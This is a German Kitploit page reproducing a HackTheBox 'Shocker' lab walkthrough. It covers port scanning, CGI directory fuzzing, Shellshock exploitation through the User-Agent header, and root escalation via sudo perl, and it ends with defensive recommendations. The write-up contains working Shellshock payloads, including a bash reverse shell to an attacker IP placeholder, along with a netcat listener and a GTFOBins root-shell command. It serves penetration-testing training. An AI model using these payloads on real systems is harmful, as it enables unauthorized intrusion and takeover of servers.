Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Shocker-TJNULL-OSCP- — Strukturierter HTB-Walkthrough, der die Ausnutzung von Shellshock (CVE-2014-6271) durch CGI-Verzeichnis-Fuzzing und die Privilegienerweiterung über falsch konfigurierte sudo-Perl-Berechtigungen mithilfe von GTFOBins demonstriert. | Kitploit
Tools/GitHubGitHub/r3fr4kt/shocker-tjnull-oscp-
Privilege EscalationAufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsLernen & BildungLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubr3fr4kt/shocker-tjnull-oscp-

Shocker-TJNULL-OSCP-

Strukturierter HTB-Walkthrough, der die Ausnutzung von Shellshock (CVE-2014-6271) durch CGI-Verzeichnis-Fuzzing und die Privilegienerweiterung über falsch konfigurierte sudo-Perl-Berechtigungen mithilfe von GTFOBins demonstriert.

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

HackTheBox: Shocker Writeup

Eine strukturierte und professionelle Anleitung, die die Identifizierung und manuelle Ausnutzung der kritischen Shellshock-Sicherheitslücke zeigt, gefolgt von lokaler Privilegienerweiterung über falsch konfigurierte sudo-Rechte auf einem Linux-Zielsystem.


Technische Übersicht

  • Ziel-Betriebssystem: Linux
  • IP-Adresse: 10.10.10.56
  • Schwierigkeitsgrad: Einfach
  • Zentrale Schwachstellen: Shellshock (CVE-2014-6271) & falsch konfigurierte Sudo-Rechte (/usr/bin/perl)
  • Ziel: Erster Benutzerzugriff über CGI-Umgebungsvariablen-Injektion und Ausweitung auf Root.

1. Enumeration & Aufklärung

Die Untersuchung beginnt mit einem schnellen TCP-SYN-Scan über alle Ports, der nur offene Ports anvisiert (--open), während die Host-Erkennung (-Pn) und DNS-Auflösung (-n) übersprungen werden, um das Footprinting zu beschleunigen.

root@kitploit:~
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56

Gezielte Dienst- und Schwachstellenanalyse

Der erste Sweep zeigt zwei aktive Dienste. Wir führen einen zweiten gezielten Scan durch, um eine aggressive Versionserkennung (-sCV) und eine scriptbasierte Schwachstellenbewertung durchzuführen:

root@kitploit:~
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56

Scan-Ergebnisse

  • Port 80: HTTP (Apache-Webserver)
  • Port 2222: SSH (nicht standardmäßiger Port)

2. Directory-Fuzzing & Web-Enumeration

Parallel zu unseren Schwachstellenscans starten wir Brute-Force-Angriffe auf Web-Verzeichnisse mit gobuster, um versteckte Ressourcen auf dem Apache-Server zu kartieren. Wir verwenden dabei eine Standard-Wortliste aus dem SecLists-Framework:

root@kitploit:~
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20

Entscheidender Fund

Der Fuzzing-Prozess identifiziert ein nicht indiziertes /cgi-bin/-Verzeichnis. In Legacy-Web-Bereitstellungen nutzen Apache-Server die Common Gateway Interface (CGI), um serverseitige Skripte auszuführen. Angesichts des Maschinennamens und des Vorhandenseins dieses Ordners suchen wir intensiv nach ausführbaren Skripten (z. B. .sh, .cgi), die anfällig für Injektionsfehler bei Umgebungsvariablen sein könnten.

Weitere Enumeration zeigt ein Skript namens user.sh, das sich im Verzeichnis /cgi-bin/ befindet.


3. Waffenisierung & erster Zugang

Test auf Shellshock (PoC)

Die Shellshock (CVE-2014-6271)-Sicherheitslücke erlaubt es Angreifern, beliebige Betriebssystembefehle auszuführen, indem bösartige Funktionsdefinitionen in HTTP-Request-Header (wie User-Agent) injiziert werden, die von verwundbaren Bash-Instanzen verarbeitet werden.

Wir erstellen einen angepassten curl-Befehl, um einen Proof-of-Concept-Payload (PoC) zu senden, der das entfernte System zwingen soll, den Befehl /usr/bin/id auszuführen:

root@kitploit:~
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

  • Ergebnis: Der Webserver antwortet mit der Ausgabe des id-Befehls, was eine nicht authentifizierte Remote-Code-Ausführung (RCE) bestätigt, die wie eine authentifizierte wirkt.

Einrichten einer Reverse Shell

Um unseren Ausführungsvektor in eine interaktive Sitzung zu überführen, richten wir einen lokalen Netcat-Listener auf unserer Angriffsplattform ein:

root@kitploit:~
nc -lvnp 4444

Als Nächstes injizieren wir einen nativen Bash-Reverse-Shell-String in den bösartigen User-Agent-Header, um einen Callback über TCP zu erzwingen:

root@kitploit:~
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

Nach erfolgreicher Ausführung erhalten wir eine stabile Shell mit niedrigen Privilegien:

root@kitploit:~
$ whoami
shelly


4. Lokale Privilegienerweiterung (LPE)

Mit einem funktionsfähigen Benutzerkontext auf dem System prüfen wir unsere lokalen Einschränkungen. Wir fragen die sudo-Konfiguration ab, um festzustellen, ob der Benutzer shelly berechtigt ist, Befehle mit erhöhten Rechten ohne Eingabe eines Passworts auszuführen:

root@kitploit:~
sudo -l

Audit der Sudo-Konfiguration

Die Ausgabe zeigt den folgenden risikoreichen Eintrag:

root@kitploit:~
User shelly may run the following commands on shocker:
    (root) NOPASSWD: /usr/bin/perl

Ausnutzen von Perl über GTFOBins

Da wir uneingeschränkten, nicht authentifizierten Zugriff haben, um die perl-Binärdatei als root auszuführen, können wir leicht aus den Einschränkungen der Binärdatei ausbrechen. Durch Abgleich mit GTFOBins finden wir einen Ausführungswrapper, der Perl anweist, in eine native System-Shell (/bin/sh) zu wechseln, wobei der Ausführungskontext (root) beibehalten wird:

root@kitploit:~
sudo -u root perl -e 'exec "/bin/sh"'

Wir erlangen sofort vollen administrativen Ausführungskontext:

root@kitploit:~
# whoami
root


5. Post-Exploitation & Beutezug

Nachdem der Root-Zugriff hergestellt ist, navigieren wir zu den relevanten Home-Verzeichnissen, um die Kompromittierungsnachweise abzurufen.

root@kitploit:~
# Access User Flag
cat /home/shelly/user.txt

# Access Root Flag
cat /root/root.txt


Wichtigste Erkenntnisse & Verteidigungsempfehlungen

  1. Inhärent verwundbare Software patchen: Shellshock ist eine veraltete, katastrophale Sicherheitslücke in GNU Bash. Stellen Sie sicher, dass alle Serverkomponenten proaktive Sicherheitspatches für grundlegende Dienstprogramme erhalten.
  2. CGI-Umgebung absichern: Wenn CGI-Skripte beibehalten werden müssen, stellen Sie sicher, dass sie unter isolierten, sandboxartigen Ausführungsmodellen laufen (z. B. mithilfe spezieller Container-Runtimes oder chroot-Umgebungen), und vermeiden Sie die Verwendung veralteter, verwundbarer Standard-Shells.
  3. Striktes Prinzip der geringsten Rechte durchsetzen: Gewährt man Standardbenutzern uneingeschränkten Zugriff, um mächtige eingebaute Interpreter wie perl, python oder bash über sudo auszuführen, entstehen sofortige Eskalationsvektoren. Der Sudo-Zugriff sollte auf nicht-interaktive, streng kontrollierte administrative Skripte beschränkt sein.
root@kitploit:~
Tool herunterladen